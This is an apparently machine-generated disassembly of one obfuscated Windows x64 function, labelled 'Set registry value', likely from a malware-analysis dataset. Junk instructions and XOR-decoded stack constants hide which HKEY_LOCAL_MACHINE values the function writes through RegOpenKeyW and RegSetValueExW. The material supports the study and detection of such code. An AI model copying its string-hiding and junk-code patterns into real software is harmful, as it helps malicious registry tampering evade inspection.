Function at 0x1403b7fa1
Capabilities:
Set registry value

Disassembly:
push r15
shl al, cl
sub r15w, 0x13c0
push r14
bsr r15w, r11w
push r13
push r12
ror r13w, 0x34
push rsi
sub r12w, ax
sbb si, r13w
push rdi
cdqe
or eax, r13d
sar rax, cl
push rbp
push rbx
or bx, r11w
movzx rax, r9w
btc r15w, 0x87
sub rsp, 0x2f8
jmp 0x1403b7fe9
movabs rax, 0x9f1048cee02a5d66
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
xchg r14b, bl
movabs rax, 0xbff8744841263837
mov r15w, 0x5eb0
mov r13b, dil
mov qword [rsp + 0x2d8], rax
movzx edi, bp
mov qword [rsp + 0x48], rax
movsxd r13, r10d
movsx ebp, r8w
not edi
movabs rax, 0xdedbab3d8e5eaa62
mov qword [rsp + 0x2d0], rax
mov dil, sil
mov qword [rsp + 0x50], rax
movzx rax, bp
mov r12w, si
movabs rax, 0xc1f2f85bdfb0a7a
mov qword [rsp + 0x2c8], rax
mov bp, 0x6873
movzx ebp, di
mov qword [rsp + 0x58], rax
cmovbe bp, r8w
sets sil
mov r15b, r15b
movabs rax, 0x32917833ace7b717
xchg r13b, dil
not rdi
mov qword [rsp + 0x2c0], rax
setb bpl
cmovg esi, r8d
mov qword [rsp + 0x60], rax
cbw
movabs rax, 0xf7def5fda201d5da
movzx rbx, di
movsx ebx, r10w
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
cbw
movsxd rbx, edi
lahf
movabs rax, 0x9578da067b2ca547
seto bl
mov qword [rsp + 0x2b0], rax
mov dil, 0xdb
mov r13b, bpl
mov qword [rsp + 0x70], rax
movzx bx, r12b
movabs rax, 0xd892e4497a7e994e
movsx rbp, bp
mov qword [rsp + 0x2a8], rax
mov r14, rsi
setnp r14b
cmovg r13, rdx
mov qword [rsp + 0x78], rax
movabs rax, 0xb4b98a16693cc66e
movsx edi, si
mov qword [rsp + 0x2a0], rax
movsxd rsi, ecx
movzx r15d, r8w
movzx r13w, bpl
mov qword [rsp + 0x80], rax
cwde
movabs rax, 0xc7462499529266db
movsx r15d, dx
mov qword [rsp + 0x298], rax
cmovl si, dx
movsx r13d, r9w
mov qword [rsp + 0x88], rax
setno dil
jmp 0x1403b816a
movabs rax, 0xd75cd9f4dfd7c87e
mov bpl, 0xad
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
movsxd rbp, r13d
movzx rax, bx
movabs rax, 0x249e3532f24c6aaf
sets r14b
mov qword [rsp + 0x288], rax
movzx rbp, di
bswap r14w
cmovnp r14w, bx
mov qword [rsp + 0x98], rax
movsxd r13, ebx
xchg al, r13b
movabs rax, 0x2df52d48a389f380
mov qword [rsp + 0x280], rax
sets r13b
mov qword [rsp + 0xa0], rax
seta bl
movabs rax, 0x4fcbae4507c124bb
mov qword [rsp + 0x278], rax
bswap r14
movzx rdi, r11w
mov qword [rsp + 0xa8], rax
cbw
lahf
movabs rax, 0x826fdcada4559db0
jmp 0x1403b8213
mov qword [rsp + 0x270], rax
cmovae r14d, edx
mov qword [rsp + 0xb0], rax
movsxd r14, eax
mov sil, 0xd4
movabs rax, 0x2d94d9c51e0d2f32
jmp 0x1403b8240
mov qword [rsp + 0x268], rax
movsx r14, bx
cmovbe r12d, edx
jmp 0x1403b8255
mov qword [rsp + 0xb8], rax
movabs rax, 0xd044039d3b905c29
movzx edi, cx
bswap si
mov qword [rsp + 0x260], rax
movzx r12w, r9b
mov qword [rsp + 0xc0], rax
xchg r15b, r12b
movabs rax, 0xe522f6a72ef977ee
movsx r15w, al
not di
mov qword [rsp + 0x258], rax
cmovl rbp, r13
mov qword [rsp + 0xc8], rax
movabs rax, 0xa7481090051cccfb
bswap r12w
cmovne r13, rsi
mov qword [rsp + 0xd0], rax
cdqe
movabs rax, 0xe9358a1868253145
movzx r14, bp
jmp 0x1403b82dd
mov qword [rsp + 0xd8], rax
movsx rbx, ax
cdqe
mov qword [rsp + 0x30], 0
jmp 0x1403b8300
mov dword [rsp + 0x3c], 0
movabs rbp, 0x1d7e8173e1b8efb
cdqe
movsx r14w, r9b
xchg rbx, r14
mov qword [rsp + 0xe0], rbp
movabs r14, 0xc0115b482885102a
lahf
movzx r15, r9w
mov qword [rsp + 0xe8], r14
movzx ebx, r13w
movabs r15, 0x9f44489de0735d35
cmovae r13, r15
bswap r13w
movzx di, r8b
mov qword [rsp + 0x100], r15
movabs r12, 0xbfbb7414416b3872
mov qword [rsp + 0x108], r12
movabs rsi, 0xdebeab4f8e2caa17
movsx edi, si
mov qword [rsp + 0x110], rsi
movzx rbx, dx
movabs rdi, 0xc702fc6bd8f0a14
cdqe
mov qword [rsp + 0x118], rdi
movsx r13d, cx
cdqe
not r13d
movabs rax, 0x32fe7841ac93b779
mov qword [rsp + 0x120], rax
mov rbx, rax
mov r13b, 0xbe
movsxd r13, r12d
bswap ax
movabs rax, 0xf7aaf598a252d5b6
movzx r13d, di
mov qword [rsp + 0x2f0], rax
mov r13d, r13d
movzx r13, r12w
movsxd r13, ecx
mov qword [rsp + 0x128], rax
movsx r13, dx
mov ah, 0x97
movabs rax, 0x950ada637b7fa51b
mov qword [rsp + 0x250], rax
movsx r13w, dl
mov qword [rsp + 0x130], rax
movabs rax, 0xd8f7e42a7a179938
mov qword [rsp + 0x248], rax
movsx r13, si
bswap r13d
mov qword [rsp + 0x138], rax
movsxd r13, r10d
movzx r13d, r13w
movabs rax, 0xb4d18a456960c61d
seto r13b
movsx r13, si
movsxd r13, r14d
mov qword [rsp + 0x240], rax
seto r13b
movzx r13w, spl
not r13
mov qword [rsp + 0x140], rax
movabs rax, 0xc72224fc52e066ba
mov qword [rsp + 0x238], rax
movsx r13d, bx
movsx r13, r14w
movzx r13d, r11w
mov qword [rsp + 0x148], rax
not r13
movsx r13d, si
movabs rax, 0xd739d997dfb4c83f
sets r13b
xchg r13, r13
mov qword [rsp + 0x230], rax
xchg r13b, r13b
setns r13b
movsx r13w, r8b
mov qword [rsp + 0x150], rax
movsx ax, r9b
cbw
movabs rax, 0x24ce356ef23f6adc
movzx r13d, sp
xchg r13w, r13w
movzx r13w, r12b
mov qword [rsp + 0x228], rax
movzx r13w, bl
movsx r13d, cx
mov qword [rsp + 0x158], rax
setb r13b
movabs rax, 0x2d982d29a3fbf3e1
mov qword [rsp + 0x220], rax
movsx r13w, spl
movsxd r13, edx
cmovle r13w, si
mov qword [rsp + 0x160], rax
movsxd rax, ebx
cwde
movabs rax, 0x4fb9ae2007b524de
movzx r13d, bp
not r13b
mov qword [rsp + 0x218], rax
movzx r13d, si
movzx r13w, r14b
movsx r13w, dl
mov qword [rsp + 0x168], rax
movzx r13d, di
cwde
lahf
movabs rax, 0x8206dceba4099dc3
jmp 0x1403b856f
mov qword [rsp + 0x210], rax
movzx r13, r11w
xchg r13b, r13b
mov qword [rsp + 0x170], rax
movsx ax, r8b
cbw
cwde
movabs rax, 0x2df5d9b21e682f40
not r13b
mov r13b, 0x90
movsx r13w, cl
mov qword [rsp + 0x208], rax
movsx r13d, cx
bswap r13
movzx r13, ax
mov qword [rsp + 0x178], rax
cwde
lahf
movabs rax, 0xd02b03cd3bfc5c45
movsx r13d, dx
movsx r13, r8w
movzx r13d, si
mov qword [rsp + 0x200], rax
mov r13w, 0x7ae
mov qword [rsp + 0x180], rax
movabs rax, 0xe55bf6c42e907782
jmp 0x1403b85ff
mov qword [rsp + 0x1f8], rax
jmp 0x1403b8611
mov qword [rsp + 0x188], rax
mov r13, rbx
movabs rax, 0xa72510ff0558cca7
mov r13w, si
mov qword [rsp + 0x1f0], rax
movzx r13d, cx
mov qword [rsp + 0x190], rax
movabs rax, 0xe9658a76684c3124
movzx r13, r11w
mov qword [rsp + 0x1e8], rax
jmp 0x1403b8663
mov qword [rsp + 0x198], rax
movabs rax, 0x1bee8713e748e89
movsx r13w, r10b
not r13b
mov qword [rsp + 0x1e0], rax
setns r13b
mov qword [rsp + 0x1a0], rax
movsxd r13, esi
jmp 0x1403b869b
movabs rax, 0xc0115b4828e01046
movzx r13w, dil
movsx r13d, r11w
movsx r13, r13w
mov qword [rsp + 0x1d8], rax
jmp 0x1403b86bf
mov qword [rsp + 0x1a8], rax
bswap r13d
movsx r13w, dl
lea r13, [rsp + 0x100]
movsxd rax, esi
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403b86f4
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403b8702
movaps xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403b8715
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403b873c
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403b8749
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403b875a
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403b8773
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403b878c
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403b87a8
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403b87b5
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403b87c9
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cqo
lea rdx, [rsp + 0x40]
movsx r8, bp
not rcx
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403b87ff
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0x9f2648fce01d5d70
mov qword [rsp + 0x1d0], rax
jmp 0x1403b881c
mov qword [rsp + 0x40], rax
cbw
movabs rax, 0xbfd27452410e381e
jmp 0x1403b8832
mov qword [rsp + 0x1c8], rax
jmp 0x1403b883f
mov qword [rsp + 0x48], rax
movabs rax, 0xdedfab388e49aa65
jmp 0x1403b8853
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x50], rax
xchg ah, al
jmp 0x1403b8868
movabs rax, 0xc702fc6bde30a78
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cdqe
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403b88a9
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403b88b3
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403b88c5
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
and ecx, ebx
mov rcx, qword [rsp + 0x30]
xadd r9b, dl
xchg dl, dl
lea rax, [rsp + 0x3c]
cmc
sub r9b, dil
mov qword [rsp + 0x20], rax
sbb dl, r15b
bt r9, 0xad
cmp r10w, 0x5913
mov dword [rsp + 0x28], 4
shr dh, 0xaa
lea rdx, [rsp + 0x40]
sub r9b, sil
xor r8d, r8d
mov r9d, 4
jmp 0x1403b8918
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403b8928
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403b893b
mov qword [rsp + 0x40], rax
mov ax, 0xc6
movsx rax, r13w
cdqe
mov rax, qword [rsp + 0x2d8]
jmp 0x1403b8957
mov qword [rsp + 0x48], rax
cwde
movzx rax, r13w
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
movsx rax, bp
mov rax, qword [rsp + 0x2c8]
jmp 0x1403b897f
mov qword [rsp + 0x58], rax
setno ah
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403b89a1
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403b89b3
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403b89c5
mov qword [rsp + 0x78], rax
cbw
lahf
mov rax, qword [rsp + 0x2a0]
jmp 0x1403b89da
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
jmp 0x1403b89ff
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x1403b8a1c
mov qword [rsp + 0x98], rax
movsx eax, sp
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movsx rax, bx
xchg al, ah
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
mov eax, 0x19e8346c
movsx rax, bp
mov al, r8b
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
movzx eax, r14w
jmp 0x1403b8a82
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
cdqe
nop
mov rax, qword [rsp + 0x258]
jmp 0x1403b8aa3
mov qword [rsp + 0xc8], rax
mov rax, 0x44cd216c
movabs rax, 0xa747108a0508ccfb
jmp 0x1403b8ac1
mov qword [rsp + 0xd0], rax
not ax
movsx ax, spl
movabs rax, 0xe9358a1568253148
jmp 0x1403b8ae0
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
mov bpl, r13b
mov qword [rsp + 0xe8], r14
movsxd rbp, ebx
mov qword [rsp + 0x100], r15
xchg al, al
mov qword [rsp + 0x108], r12
setl r14b
cdqe
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
cdqe
movsx r14, r8w
mov rbp, rbx
mov qword [rsp + 0x120], rbx
lahf
jmp 0x1403b8b3d
mov r14, qword [rsp + 0x2f0]
lahf
cwde
not rax
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov al, r10b
xchg al, ah
movsxd rax, r14d
mov rax, qword [rsp + 0x248]
jmp 0x1403b8b77
mov qword [rsp + 0x138], rax
mov eax, ebx
mov rax, qword [rsp + 0x240]
jmp 0x1403b8b8e
mov qword [rsp + 0x140], rax
cmovp rax, r11
mov ah, al
mov rax, qword [rsp + 0x238]
jmp 0x1403b8ba9
mov qword [rsp + 0x148], rax
movsx ax, r10b
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
movzx eax, cx
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
cmovne ax, si
mov eax, 0x7e887272
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov ah, 0x74
mov rax, qword [rsp + 0x218]
jmp 0x1403b8c02
mov qword [rsp + 0x168], rax
mov al, bpl
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x170], rax
movsx rax, bp
movzx rax, r9w
mov rax, qword [rsp + 0x208]
jmp 0x1403b8c32
mov qword [rsp + 0x178], rax
nop
mov rax, qword [rsp + 0x200]
jmp 0x1403b8c49
mov qword [rsp + 0x180], rax
movzx ax, dil
movsx ax, r11b
lahf
mov rax, qword [rsp + 0x1f8]
jmp 0x1403b8c69
mov qword [rsp + 0x188], rax
movzx eax, r13w
movsx eax, si
nop
mov rax, qword [rsp + 0x1f0]
jmp 0x1403b8c86
mov qword [rsp + 0x190], rax
jmp 0x1403b8c93
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
movzx ax, sil
movsx ax, r12b
setle ah
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
cmovns ax, cx
mov rax, qword [rsp + 0x1d8]
jmp 0x1403b8cd1
mov qword [rsp + 0x1a8], rax
cdqe
movsx eax, bp
movzx ax, r12b
mov rax, r13
jmp 0x1403b8ceb
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403b8cf5
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403b8d0c
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403b8d16
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403b8d36
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403b8d43
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403b8d54
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403b8d6d
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403b8d7a
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403b8d8b
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403b8d98
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403b8da9
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403b8db6
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403b8dca
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403b8dee
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsx rcx, r13w
bswap r8w
movzx r8, r9w
lea rdx, [rsp + 0x40]
cmovg r8d, eax
xchg cx, r8w
jmp 0x1403b8e1b
mov rcx, 0xffffffff80000002
sete r8b
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx bx, spl
mov bl, 0xbe
mov qword [rsp + 0x40], rax
mov ebx, 0x105f2e32
movsx ebx, sp
cdqe
mov rax, qword [rsp + 0x1c8]
movsx bx, r8b
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
movzx eax, r8w
cwde
movsx rax, r9w
mov rax, qword [rsp + 0x1c0]
jmp 0x1403b8e84
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
movzx rax, di
xchg al, ah
mov qword [rsp + 0x108], r12
cdqe
jmp 0x1403b8eaa
mov qword [rsp + 0x110], rsi
mov ah, 0x3f
mov qword [rsp + 0x118], rdi
movsx rax, ax
cwde
mov rax, r13
jmp 0x1403b8eca
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403b8edc
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403b8ee6
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
and ecx, esp
bts r9, r8
mov rcx, qword [rsp + 0x30]
and rax, 0x7fc75b55
movsx r9, bx
xor rdx, 0x2b0231d9
lea rax, [rsp + 0x3c]
sbb r9d, 0x618828e4
sal r9b, cl
rcl dl, 0x90
mov qword [rsp + 0x20], rax
shl r9b, 0x94
sub r9d, ebp
movsx edx, r12w
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
shr r9w, 0x5e
neg r9w
setb r9b
sub r8d, r8d
mov r9d, 4
jmp 0x1403b8f56
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403b8f66
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403b8f79
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
movsx eax, r13w
mov al, r13b
mov rax, qword [rsp + 0x2d0]
jmp 0x1403b8f9f
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
mov eax, ebx
cbw
nop
mov rax, qword [rsp + 0x2c0]
jmp 0x1403b8fc4
mov qword [rsp + 0x60], rax
jmp 0x1403b8fd4
mov rax, qword [rsp + 0x2b8]
jmp 0x1403b8fe1
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x1403b8ff3
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403b9005
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
setno al
bswap eax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
mov al, 0xa4
cmovo ax, bx
setnp ah
mov rax, qword [rsp + 0x290]
jmp 0x1403b9045
mov qword [rsp + 0x90], rax
movzx eax, sp
xchg al, al
cwde
mov rax, qword [rsp + 0x288]
jmp 0x1403b9060
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403b9075
mov qword [rsp + 0xa0], rax
movsxd rax, ebx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403b909d
mov qword [rsp + 0xb0], rax
not ax
cbw
movsx eax, bp
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
nop
bswap rax
movzx ax, r13b
mov rax, qword [rsp + 0x260]
jmp 0x1403b90d4
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x1403b90e9
mov qword [rsp + 0xc8], rax
movzx ax, al
cwde
movabs rax, 0xa744108b050bccfb
mov qword [rsp + 0xd0], rax
movsx ax, ch
setbe al
movabs rax, 0xe9178a176828314a
jmp 0x1403b911e
mov qword [rsp + 0xd8], rax
cmovo eax, r11d
movsx ax, ah
movabs rax, 0x1d1e8033e248eed
jmp 0x1403b913d
mov qword [rsp + 0xe0], rax
mov ah, 0xb7
cbw
movabs rax, 0xc0745b2428891020
jmp 0x1403b9159
mov qword [rsp + 0xe8], rax
mov eax, esp
setae ah
mov qword [rsp + 0x100], r15
mov ah, 0xfc
mov qword [rsp + 0x108], r12
nop
movsx ax, al
cdqe
mov qword [rsp + 0x110], rsi
cbw
mov qword [rsp + 0x118], rdi
jmp 0x1403b919f
mov qword [rsp + 0x120], rbp
movzx eax, sp
jmp 0x1403b91b4
mov qword [rsp + 0x128], r14
movsx eax, r9w
mov rax, qword [rsp + 0x250]
jmp 0x1403b91cd
mov qword [rsp + 0x130], rax
bswap eax
mov ax, 0x508e
mov ax, r9w
mov rax, qword [rsp + 0x248]
jmp 0x1403b91ec
mov qword [rsp + 0x138], rax
mov al, r14b
movsxd rax, ebx
cdqe
mov rax, qword [rsp + 0x240]
jmp 0x1403b9209
mov qword [rsp + 0x140], rax
movsx rax, bp
nop
mov ax, r8w
mov rax, qword [rsp + 0x238]
jmp 0x1403b9228
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x1403b923d
mov qword [rsp + 0x150], rax
bswap ax
cbw
mov rax, qword [rsp + 0x228]
jmp 0x1403b9257
mov qword [rsp + 0x158], rax
movsx ax, r13b
movzx ax, r11b
cmovs ax, si
mov rax, qword [rsp + 0x220]
jmp 0x1403b927a
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403b929f
mov qword [rsp + 0x170], rax
cbw
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
movzx rax, sp
mov rax, qword [rsp + 0x200]
jmp 0x1403b92ca
mov qword [rsp + 0x180], rax
movsxd rax, esp
mov rax, qword [rsp + 0x1f8]
jmp 0x1403b92e2
mov qword [rsp + 0x188], rax
mov eax, r10d
movzx ax, r13b
cdqe
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movzx eax, bp
cmovp ax, r14w
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
mov ax, 0xc91
cmovp eax, r10d
not ax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403b9334
mov qword [rsp + 0x1a0], rax
jmp 0x1403b9344
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
movsxd rax, ecx
movabs rax, 0xe559da936bb7872b
mov qword [rsp + 0xf0], rax
jmp 0x1403b936e
mov qword [rsp + 0x1b0], rax
movabs rax, 0x3bee51dafc1f3748
jmp 0x1403b9385
mov qword [rsp + 0xf8], rax
jmp 0x1403b9392
mov qword [rsp + 0x1b8], rax
bswap rax
sets ah
mov rax, r13
jmp 0x1403b93a8
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403b93b2
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403b93c1
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403b93ce
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403b93d8
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403b93e6
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403b93f4
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403b9402
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403b940f
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403b9420
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403b9439
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403b9446
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403b9457
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403b9464